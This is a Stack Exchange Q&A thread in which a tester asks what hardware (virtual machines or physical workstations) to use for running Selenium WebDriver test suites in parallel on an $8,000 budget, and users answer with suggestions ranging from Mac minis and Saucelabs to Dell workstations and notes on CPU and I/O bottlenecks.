{ "url": "https://lucene.apache.org/core/9_3_0/core/org/apache/lucene/util/ByteBlockPool.html", "source_domain": "lucene.apache.org", "snapshot_id": "CC-MAIN-2023-14", "warc_metadata": { "Content-Length": "33501", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:DFC6F5WR45KD523LRWN5OILCSP75BFYA", "WARC-Concurrent-To": "<urn:uuid:dd538757-92c5-4e5d-970e-b51fedd1cd88>", "WARC-Date": "2023-03-26T22:29:36Z", "WARC-IP-Address": "151.101.2.132", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:SVTKHVSYAAMMEQBWE26IBUIHRQFOCZAE", "WARC-Record-ID": "<urn:uuid:5d63172f-b04f-473f-9cb6-c0e59d951619>", "WARC-Target-URI": "https://lucene.apache.org/core/9_3_0/core/org/apache/lucene/util/ByteBlockPool.html", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:4e7380f8-b906-44f1-abf8-55115b4ba859>" }, "warc_info": "isPartOf: CC-MAIN-2023-14\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for March/April 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-126\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 20, 21, 53, 69, 70, 107, 126, 153, 610, 611, 847, 848, 956, 975, 976, 992, 993, 1025, 1151, 1168, 1169, 1197, 1233, 1248, 1249, 1278, 1306, 1325, 1326, 1356, 1384, 1409, 1410, 1461, 1568, 1593, 1594, 1645, 1703, 1728, 1729, 1778, 1822, 1840, 1862, 1882, 1883, 1897, 1898, 1950, 1996, 2123, 2143, 2269, 2452, 2471, 2472, 2505, 2732, 2749, 2750, 2789, 2840, 2858, 2883, 2902, 2903, 2948, 2988, 3093, 3121, 3122, 3176, 3225, 3450, 3470, 3471, 3519, 3566, 3581, 3582, 3626, 3702, 3720, 3721, 3765, 3809, 3856, 3903, 4031, 4032, 4098, 4099, 4122, 4123, 4173, 4221, 4585, 4606, 4607, 4642, 4697, 4783, 4805 ], "line_end_idx": [ 20, 21, 53, 69, 70, 107, 126, 153, 610, 611, 847, 848, 956, 975, 976, 992, 993, 1025, 1151, 1168, 1169, 1197, 1233, 1248, 1249, 1278, 1306, 1325, 1326, 1356, 1384, 1409, 1410, 1461, 1568, 1593, 1594, 1645, 1703, 1728, 1729, 1778, 1822, 1840, 1862, 1882, 1883, 1897, 1898, 1950, 1996, 2123, 2143, 2269, 2452, 2471, 2472, 2505, 2732, 2749, 2750, 2789, 2840, 2858, 2883, 2902, 2903, 2948, 2988, 3093, 3121, 3122, 3176, 3225, 3450, 3470, 3471, 3519, 3566, 3581, 3582, 3626, 3702, 3720, 3721, 3765, 3809, 3856, 3903, 4031, 4032, 4098, 4099, 4122, 4123, 4173, 4221, 4585, 4606, 4607, 4642, 4697, 4783, 4805, 4850 ] }
{ "red_pajama_v2": { "ccnet_original_length": 4850, "ccnet_original_nlines": 104, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.32561132311820984, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.012870009988546371, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.171171173453331, "rps_doc_frac_unique_words": 0.3639143705368042, "rps_doc_mean_word_length": 5.0244646072387695, "rps_doc_num_sentences": 35, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.856803894042969, "rps_doc_word_count": 654, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.04564819857478142, "rps_doc_frac_chars_dupe_6grams": 0.04564819857478142, "rps_doc_frac_chars_dupe_7grams": 0.04564819857478142, "rps_doc_frac_chars_dupe_8grams": 0.022519780322909355, "rps_doc_frac_chars_dupe_9grams": 0.022519780322909355, "rps_doc_frac_chars_top_2gram": 0.017041999846696854, "rps_doc_frac_chars_top_3gram": 0.014607430435717106, "rps_doc_frac_chars_top_4gram": 0.018259279429912567, "rps_doc_books_importance": -295.49237060546875, "rps_doc_books_importance_length_correction": -295.49237060546875, "rps_doc_openwebtext_importance": -176.56069946289062, "rps_doc_openwebtext_importance_length_correction": -176.56069946289062, "rps_doc_wikipedia_importance": -119.21399688720703, "rps_doc_wikipedia_importance_length_correction": -119.21399688720703 }, "fasttext": { "dclm": 0.026604589074850082, "english": 0.7373565435409546, "fineweb_edu_approx": 2.1690480709075928, "eai_general_math": 0.4100720286369324, "eai_open_web_math": 0.09848982095718384, "eai_web_code": 0.4116440415382385 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.02", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "4", "label": "Analyze" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "4", "label": "Code/Software" }, "secondary": { "code": "3", "label": "Reference/Encyclopedic/Educational" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "3", "label": "Irrelevant Content" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "4", "label": "Missing Images or Figures" } }, "document_type_v2": { "primary": { "code": "8", "label": "Documentation" }, "secondary": { "code": "3", "label": "Academic Writing" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "4", "label": "Highly Correct" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "4", "label": "Graduate/Expert Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-40,040,641,579,418,620
Feeds: Posts Comments Posts Tagged ‘Innovations’ Check out Microvision’s SHOWWX. The SHOWWX Laser Pico Projector is a pocket-sized projection device that can connect to iPods, PCs and other TV-Out devices expected to be made commercially available in March 2010 in the US. Microvision also offers an evaluation kit for other companies who want to embed this technology in their digital products e.g. mobile phones. While there are obvious uses, this is really intriguing technology from a learning perspective. For the mobile learning folks, this should be a cause for some celebration because of now the ability to use a much larger and high resolution screen estate for animations, videos and regular learning materials. For elearning, as such, this becomes another platform for individuals and small groups to learn on. What would be interesting is if Pranav Mistry’s efforts putting a camera + projector + motion recognition could be embedded on top the mobile phone or wearable headsets commercially thus making enhanced learner interaction possible. Perhaps an embedded flip open mouse pad on the mobile phone as one of the connected devices could be invented as an option in the meantime. Learning that requires physical experiences can also be augmented and supported by this technology. For example, a class taking water samples to check purity, using a laptop with a sensor kit and instrumentation software, could augment physical conditions with other sources of information, such as from a Wiki. (See for example the automobile location charting initiatives). Using a camera and various technologies to recognize visual objects (that have been demonstrated recently in addition to tag-based solutions like QRCodes and Microsoft Tag), physical information can be marked up and even analyzed across other learners and data sources, thus enhancing the learning experience. In the classroom, we could have one or more hubs actually sharing out information, if so designed to be used, even while the class is in-session – with multiple displays replacing or supplementing the traditional whiteboards. Perhaps new media forms will emerge as a result. For example, clusters of pico units could integrate into a central console that instructors could use to flip between for the entire class. The experience itself could result in the classroom experience being captured and rendered with different perspectives in mind. Perhaps, applications will start becoming gesture-enabled as projects such as Microsoft Natal and Mistry’s Sixth Sense begin to capture commercial and popular interest. Advertisements Read Full Post » I am a little ambivalent about this one – the Open Screen project. Adobe is leading this initiative along with other majors such as Nokia. Their dream is to unify and defragment our experiences with internet, devices and media by providing a “consistent runtime environment for open web browsing and standalone applications”. The runtime enviroment is one thought-out combination of device (PC, mobile phone, kiosk etc.), operating system, browser and media (read Flash) capabilities that they hope will get users “richer, more interactive, and universal user experiences across devices”. Basically cross-platform both in terms of viewing experiences and interaction possibilities (interoperability) that the new Internet engenders. Why am I ambivalent? A $10 mn fund for developers over 2 years should perhaps be reason enough to realize the commitment of these players to the strategy. Moreover, a brief look at the supporting partners must rank as the who is who of telecom, computing and software. Not only that I saw that Adobe has committed to making AIR and Flash player open. The response on the Silverlight side is also very interesting. Perhaps that is the reason for the ambivalence I have. I am sure there is space enough for two (or more) technologies to operate in the same space. However, this debate and struggle may result in greater defragmentation and lesser interoperability than before. More to come… Read Full Post » You just have to watch this video of the innovation that MIT Media Lab’s Fluid Interfaces group created. Like all innovations that blur the lines between two or more ways of experiencing or doing things, this innovation is breathtaking. In this innovation, Pranav Mistry and his team blur the lines – the projection target is not your gaming console or computer/projection screen – it is any projectable surface. Extending the idea, the interaction is not through the keyboard or mouse or through a gaming console, but through simple hand movements that are captured through motion sensing. Applying it to commercial uses, Pranav uses the technology to blur the lines between an internet database and common uses such as buying a product or finding if your flight is delayed, between a group of users and common uses such as collaboration to create a 3D model (look at inkuitive on the list of projects on Pranav’s home page). If you look at TaPuMa (again on the list of projects on Pranav’s home page), you can see how the lines are blurred again – take a wristwatch, put it on a console or in front of a scanner, and it tells you which duty free shop in the airport terminal where you are standing, sells the watch. Interestingly put, Pranav states: The broad concept behind the project TaPuMa is ‘Object Amelioration’, where the functions of everyday objects can be expanded by using their affordances or functionalities in a variety of different contexts. Microsoft Tag (and other existing mechanisms like QR Codes) is blurring the lines by merging print with online experiences. VoiceThread blurred the lines by allowing a phone to web integration of user comments. Others are blurring the lines in many other ways and using many other devices (see iPhone apps, social media/network integration, Film 2.0). The lines are really what we are used to doing. Blurring them causes us to react emotionally and with surprise at the possibility (with more than a little awe, too) which is in front of us but we had not thought of or thought possible. When the dust settles, we look for the utility of these innovative ideas, the cost, the production capabilities and the availability. What is really interesting is that perhaps a simple analytical process of juxtaposing two or more different types of objects, experiences, media etc. can be the starting point and result in innovative ideas such as these. Many of them may not be implementable given the current state of technology, many implemented only through  sheer genius and lots of them may be already taken, but there is really a whole universe there waiting to be explored. Read Full Post » %d bloggers like this:
{ "url": "https://learnos.wordpress.com/tag/innovations/", "source_domain": "learnos.wordpress.com", "snapshot_id": "crawl=CC-MAIN-2019-04", "warc_metadata": { "Content-Length": "84923", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:NJDY7B5K3UIGMHZP3OWSKJDIPHIO774Y", "WARC-Concurrent-To": "<urn:uuid:6d2844eb-d2a1-4915-8586-80f257b3f31c>", "WARC-Date": "2019-01-19T11:02:41Z", "WARC-IP-Address": "192.0.78.12", "WARC-Identified-Payload-Type": "application/xhtml+xml", "WARC-Payload-Digest": "sha1:DSZELOPJXHMI4BDTX5DQNZFNTYFJVESC", "WARC-Record-ID": "<urn:uuid:71d9e5e6-529e-4fb3-82aa-3aef3f4aa85c>", "WARC-Target-URI": "https://learnos.wordpress.com/tag/innovations/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:7fb78a6f-2dce-4dba-b4d7-e8da0f915873>" }, "warc_info": "isPartOf: CC-MAIN-2019-04\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for January 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-145-104-113.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 7, 13, 22, 23, 50, 51, 417, 418, 726, 727, 1200, 1201, 1577, 1578, 1888, 1889, 2115, 2116, 2433, 2434, 2603, 2604, 2619, 2620, 2637, 2638, 2964, 2965, 3372, 3373, 3724, 3725, 4049, 4050, 4064, 4065, 4082, 4083, 4320, 4321, 4675, 4676, 5012, 5013, 5338, 5339, 5547, 5548, 5900, 5901, 6271, 6272, 6721, 6722, 6739, 6740 ], "line_end_idx": [ 7, 13, 22, 23, 50, 51, 417, 418, 726, 727, 1200, 1201, 1577, 1578, 1888, 1889, 2115, 2116, 2433, 2434, 2603, 2604, 2619, 2620, 2637, 2638, 2964, 2965, 3372, 3373, 3724, 3725, 4049, 4050, 4064, 4065, 4082, 4083, 4320, 4321, 4675, 4676, 5012, 5013, 5338, 5339, 5547, 5548, 5900, 5901, 6271, 6272, 6721, 6722, 6739, 6740, 6762 ] }
{ "red_pajama_v2": { "ccnet_original_length": 6762, "ccnet_original_nlines": 56, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.44337350130081177, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.012048190459609032, "rps_doc_frac_lines_end_with_ellipsis": 0.017543859779834747, "rps_doc_frac_no_alph_words": 0.12449798732995987, "rps_doc_frac_unique_words": 0.4567219316959381, "rps_doc_mean_word_length": 5.073664665222168, "rps_doc_num_sentences": 51, "rps_doc_symbol_to_word_ratio": 0.000803210015874356, "rps_doc_unigram_entropy": 5.607590675354004, "rps_doc_word_count": 1086, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0.020326679572463036, "rps_doc_frac_chars_dupe_6grams": 0.013430129736661911, "rps_doc_frac_chars_dupe_7grams": 0.013430129736661911, "rps_doc_frac_chars_dupe_8grams": 0.013430129736661911, "rps_doc_frac_chars_dupe_9grams": 0.013430129736661911, "rps_doc_frac_chars_top_2gram": 0.011615250259637833, "rps_doc_frac_chars_top_3gram": 0.0065335799008607864, "rps_doc_frac_chars_top_4gram": 0.007078039925545454, "rps_doc_books_importance": -528.1546020507812, "rps_doc_books_importance_length_correction": -528.1546020507812, "rps_doc_openwebtext_importance": -303.58984375, "rps_doc_openwebtext_importance_length_correction": -303.58984375, "rps_doc_wikipedia_importance": -231.40432739257812, "rps_doc_wikipedia_importance_length_correction": -231.40432739257812 }, "fasttext": { "dclm": 0.01916385069489479, "english": 0.9319615364074707, "fineweb_edu_approx": 2.4537277221679688, "eai_general_math": 0.13958144187927246, "eai_open_web_math": 0.25785672664642334, "eai_web_code": 0.034480150789022446 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.019", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "371.392", "labels": { "level_1": "Social sciences", "level_2": "Education", "level_3": "Teachers, Teaching, and School management and organization" } } }, "bloom_cognitive_process": { "primary": { "code": "4", "label": "Analyze" }, "secondary": { "code": "5", "label": "Evaluate" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "9", "label": "Personal/Misc" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "3", "label": "Irrelevant Content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "4", "label": "Missing Images or Figures" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "16", "label": "Personal Blog" }, "secondary": { "code": "10", "label": "Knowledge Article" } }, "reasoning_depth": { "primary": { "code": "3", "label": "Intermediate Reasoning" }, "secondary": { "code": "2", "label": "Basic Reasoning" } }, "technical_correctness": { "primary": { "code": "6", "label": "Not Applicable/Indeterminate" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "1", "label": "General Audience" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-8,551,744,185,086,266,000
How to Detect Proxy Connections in a Web Browser Detecting proxies in a web browser is not a difficult task. There are several tools out there that will help you do so. They can also help you detect which proxies are working. You can even see the results of your tests in the interface. How can I tell if someone is using a proxy? A proxy is a middleman between the user and the web. It prevents malicious actors from accessing confidential information. However, they can be misleading as well. Depending on the use case, blocking requests from a proxy may be the right solution. Using the packet headers to detect proxies is not as hard as it sounds. Just check the network settings for your Windows or macOS computer. If the ports are open, you are likely to find a proxy connection. If you’re using a firewall, you can add additional ports to increase your chances of catching a fraudulent proxy. A good way to find out is to check out the packet headers. These can give you some information about the user’s device, browser, and OS. This information can be used to determine if the user is a privacy-conscious person or an attacker. In the same way, you can check the HTTP headers to learn more about the corresponding host. This can be a useful tool if you are looking to block proxies on your website. The headers can also tell you about the type of proxies being used on your site. The above example code was written to test if an IP address is reachable in a given port. This is the same as checking if the URL in the address bar is a valid one.
{ "url": "https://thelizard-brain.com/category/tech/", "source_domain": "thelizard-brain.com", "snapshot_id": "CC-MAIN-2023-23", "warc_metadata": { "Content-Length": "81514", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:XC67ZFNO3Z6NTXWJCSIIBKTIG75SGYA5", "WARC-Concurrent-To": "<urn:uuid:162bb9af-b484-4eae-a5fc-e9d3d80a9ccb>", "WARC-Date": "2023-06-10T23:44:44Z", "WARC-IP-Address": "94.23.121.74", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:FQELEQMMYYFZN73L3GMGSHODDOBIE23U", "WARC-Record-ID": "<urn:uuid:6ca5e138-3e7b-4234-b7d9-20c340cce33e>", "WARC-Target-URI": "https://thelizard-brain.com/category/tech/", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:a74aedbe-bfc0-44d9-a560-da75c89ccbd4>" }, "warc_info": "isPartOf: CC-MAIN-2023-23\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May/June 2023\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-37\r\nsoftware: Apache Nutch 1.19 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.4-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 49, 50, 288, 289, 333, 334, 583, 584, 904, 905, 1142, 1143, 1395, 1396 ], "line_end_idx": [ 49, 50, 288, 289, 333, 334, 583, 584, 904, 905, 1142, 1143, 1395, 1396, 1560 ] }
{ "red_pajama_v2": { "ccnet_original_length": 1560, "ccnet_original_nlines": 14, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.5139318704605103, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.021671829745173454, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.09597522765398026, "rps_doc_frac_unique_words": 0.4913494884967804, "rps_doc_mean_word_length": 4.2768168449401855, "rps_doc_num_sentences": 21, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.524429798126221, "rps_doc_word_count": 289, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0.019417479634284973, "rps_doc_frac_chars_top_3gram": 0.009708739817142487, "rps_doc_frac_chars_top_4gram": 0.02103560045361519, "rps_doc_books_importance": -121.07661437988281, "rps_doc_books_importance_length_correction": -108.55293273925781, "rps_doc_openwebtext_importance": -82.76737976074219, "rps_doc_openwebtext_importance_length_correction": -82.76737976074219, "rps_doc_wikipedia_importance": -83.51513671875, "rps_doc_wikipedia_importance_length_correction": -69.79805755615234 }, "fasttext": { "dclm": 0.31789958477020264, "english": 0.9314833283424377, "fineweb_edu_approx": 2.852396011352539, "eai_general_math": 0.8248997330665588, "eai_open_web_math": 0.25361329317092896, "eai_web_code": 0.6059123873710632 } }
{ "free_decimal_correspondence": { "primary": { "code": "005.82", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } }, "secondary": { "code": "004.67", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } } }, "bloom_cognitive_process": { "primary": { "code": "3", "label": "Apply" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "3", "label": "Procedural" }, "secondary": { "code": "2", "label": "Conceptual" } }, "document_type_v1": { "primary": { "code": "3", "label": "Reference/Encyclopedic/Educational" }, "secondary": { "code": "4", "label": "Code/Software" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "23", "label": "Tutorial" }, "secondary": { "code": "8", "label": "Documentation" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "3", "label": "Mostly Correct" }, "secondary": { "code": "4", "label": "Highly Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "3", "label": "Undergraduate Level" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
5,627,860,328,592,469,000
Introducing DigitalOcean Functions: A powerful serverless computing solution DigitalOcean is releasing a new serverless hosting service. I’ve had good results hosting a LibreTranslate instance on DigitalOcean and this could work well for sporadic use cases. Could be useful, but I would use it only for small stuff. The problem is just like with AWS lambda; it’s a proprietary cloud system and you effectively lock yourself with Digital Ocean (or make it costly to migrate should the need arise). 1 Like
{ "url": "https://community.libretranslate.com/t/introducing-digitalocean-functions-a-powerful-serverless-computing-solution/234", "source_domain": "community.libretranslate.com", "snapshot_id": "crawl=CC-MAIN-2022-27", "warc_metadata": { "Content-Length": "15606", "Content-Type": "application/http; msgtype=response", "WARC-Block-Digest": "sha1:A2JT36XU3JMSBIZCF3PI7X4UB47CWTLM", "WARC-Concurrent-To": "<urn:uuid:388b20e7-4821-4980-8ff2-13258ba7b4f3>", "WARC-Date": "2022-06-28T03:32:31Z", "WARC-IP-Address": "104.21.93.181", "WARC-Identified-Payload-Type": "text/html", "WARC-Payload-Digest": "sha1:RSOZ4OAJH7OUOPCUIWVDNSDUMZU6IT5A", "WARC-Record-ID": "<urn:uuid:22aff107-27ec-4b0c-8525-a145f4dab272>", "WARC-Target-URI": "https://community.libretranslate.com/t/introducing-digitalocean-functions-a-powerful-serverless-computing-solution/234", "WARC-Truncated": null, "WARC-Type": "response", "WARC-Warcinfo-ID": "<urn:uuid:354bb8e2-dbc3-4adb-97f4-108422269f0e>" }, "warc_info": "isPartOf: CC-MAIN-2022-27\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for June/July 2022\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-140\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.3-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/" }
{ "line_start_idx": [ 0, 77, 78, 259, 260, 318, 319, 500, 501 ], "line_end_idx": [ 77, 78, 259, 260, 318, 319, 500, 501, 507 ] }
{ "red_pajama_v2": { "ccnet_original_length": 507, "ccnet_original_nlines": 8, "rps_doc_curly_bracket": 0, "rps_doc_ldnoobw_words": 0, "rps_doc_lorem_ipsum": 0, "rps_doc_stop_word_fraction": 0.4021739065647125, "rps_doc_ut1_blacklist": 0, "rps_doc_frac_all_caps_words": 0.043478261679410934, "rps_doc_frac_lines_end_with_ellipsis": 0, "rps_doc_frac_no_alph_words": 0.1195652186870575, "rps_doc_frac_unique_words": 0.800000011920929, "rps_doc_mean_word_length": 5.1875, "rps_doc_num_sentences": 5, "rps_doc_symbol_to_word_ratio": 0, "rps_doc_unigram_entropy": 4.080898284912109, "rps_doc_word_count": 80, "rps_doc_frac_chars_dupe_10grams": 0, "rps_doc_frac_chars_dupe_5grams": 0, "rps_doc_frac_chars_dupe_6grams": 0, "rps_doc_frac_chars_dupe_7grams": 0, "rps_doc_frac_chars_dupe_8grams": 0, "rps_doc_frac_chars_dupe_9grams": 0, "rps_doc_frac_chars_top_2gram": 0, "rps_doc_frac_chars_top_3gram": 0, "rps_doc_frac_chars_top_4gram": 0, "rps_doc_books_importance": -33.93041229248047, "rps_doc_books_importance_length_correction": -44.14158248901367, "rps_doc_openwebtext_importance": -14.016732215881348, "rps_doc_openwebtext_importance_length_correction": -24.2279052734375, "rps_doc_wikipedia_importance": -3.993776559829712, "rps_doc_wikipedia_importance_length_correction": -14.204948425292969 }, "fasttext": { "dclm": 0.03136337175965309, "english": 0.9206799268722534, "fineweb_edu_approx": 1.4077726602554321, "eai_general_math": 0.5268846750259399, "eai_open_web_math": 0.08296989649534225, "eai_web_code": 0.022423090413212776 } }
{ "free_decimal_correspondence": { "primary": { "code": "004.0285", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computers and Computer science" } }, "secondary": { "code": "005.1", "labels": { "level_1": "General works, books and libraries, information sciences", "level_2": "", "level_3": "Computer programming" } } }, "bloom_cognitive_process": { "primary": { "code": "5", "label": "Evaluate" }, "secondary": { "code": "2", "label": "Understand" } }, "bloom_knowledge_domain": { "primary": { "code": "2", "label": "Conceptual" }, "secondary": { "code": "3", "label": "Procedural" } }, "document_type_v1": { "primary": { "code": "5", "label": "Social/Forum" }, "secondary": { "code": "-1", "label": "Abstain" } }, "extraction_artifacts": { "primary": { "code": "0", "label": "No Artifacts" }, "secondary": { "code": "-1", "label": "Abstain" } }, "missing_content": { "primary": { "code": "0", "label": "No missing content" }, "secondary": { "code": "-1", "label": "Abstain" } }, "document_type_v2": { "primary": { "code": "18", "label": "Q&A Forum" }, "secondary": { "code": "10", "label": "Knowledge Article" } }, "reasoning_depth": { "primary": { "code": "2", "label": "Basic Reasoning" }, "secondary": { "code": "3", "label": "Intermediate Reasoning" } }, "technical_correctness": { "primary": { "code": "6", "label": "Not Applicable/Indeterminate" }, "secondary": { "code": "3", "label": "Mostly Correct" } }, "education_level": { "primary": { "code": "2", "label": "High School Level" }, "secondary": { "code": "1", "label": "General Audience" } } }
e3c4dd7183f5f028f56d5a7988cc68c4
-1,669,859,067,325,428,500
Take the 2-minute tour × Software Quality Assurance & Testing Stack Exchange is a question and answer site for software quality control experts, automation engineers, and software testers. It's 100% free, no registration required. I wanted to reach out and get some opinions of Testing hardware. Should I use VMs or a stand-alone tower? If I use VMs, what would be some recommended hardware specs for the hosting server? If a standalone physical workstation, what would you recommend in regards to processor power, ram, and gpu-wise? Right now I have about 242 Selenium WebDriver tests spread across 11 test suites for which I run in parallel with each other. I am going to be adding at least another 360 tests in the near-future. My goal is to be able to run all the test suites simulatenously while not sacrificing the performance of each test. Also let's say that my budget is $8,000. Thank you all for your time and any advice you may give. Regards, Travis share|improve this question      Are you running into performance problems now? Also, am I reading your post correctly that you want to run your 11 test suites in concurrently? My gut says virtualized workstations are going to help because they can share identical blocks of memory with other VMs on the same host which will help with the number of browsers you could be opening up depending on how many tests you are running at once, but let us know where you're seeing problems and I could get into more detail. –  Daniel Jun 18 '13 at 11:55 4 Answers 4 Based on my experience, (which will vary from person to person) that automation tends to bottleneck on CPU. This lends itself to working better on actual physical hardware than on virtual hardware. For that money I would by 13 mac minis and build a test grid. The mac mini gives you the option of running windows, mac os as well as virtualised linux, windows phone, iPhone or android clients. share|improve this answer We useSaucelabs. Budget wise the Small Team 10 CPU plan is $149 a month. There are minute limits so you would want to take total test times in consideration. Another huge plus is not having to deal with every single issue that I seemed to run into for every different OS/Browser setup. share|improve this answer A couple of workstations and VMs on each of them!!! Yes, I/O will be a problem but mostly if you install a SQL database on every VM. You may eventually want to host a staging version of your website / service on some of the VMs and use others to run tests or to run load tests. Commodity hardware is much cheaper than high-end servers (that's one of the reasons all the cloud providers keep their costs low). So a couple of workstations will sum up to much more than a single server. GPU should have no impact, unless you plan to crack hashes or play 3D games while your tests are running; anyway I doubt you'll find a decent GPU in any server (unless you go for some fancy designer's workstation) We use Dell Precision workstations, $8,000 will net you 3-4 of them, depending on how many accessories like monitors you want. That's a decent test lab :) share|improve this answer Travis, I'm coming into this a bit late, but here's some thoughts for you: • What is the total run-time of all your tests? For instance, if you can schedule your suites to run in sequence overnight and have all your results waiting for you the next morning, you may only need one system to manage testing. • What levels of IO do your tests require? Tests with a lot of database or other external file reads are much heavier on IO than something that simply runs through a series of actions and assertions, although any automated test will have higher IO requirements than normal running due to the need to read in the test as well as the IO of the application in test. • What control do you have over your testing network? If you're able to add systems (physical or virtual) to a testing subdomain without needing to work with your employer's IT department, you have a lot more flexibility to store, spin up and rename virtual systems at need. • In any architecture, there will be choke points. The biggest one in virtualization is the server's IO capacity, at least when hosting automation VMs. I've seen high capacity servers overwhelmed by IO requirements because there wasn't enough disk IO throughput available. Hopefully that will help clarify your thoughts. share|improve this answer Your Answer   discard By posting your answer, you agree to the privacy policy and terms of service. Not the answer you're looking for? Browse other questions tagged or ask your own question.
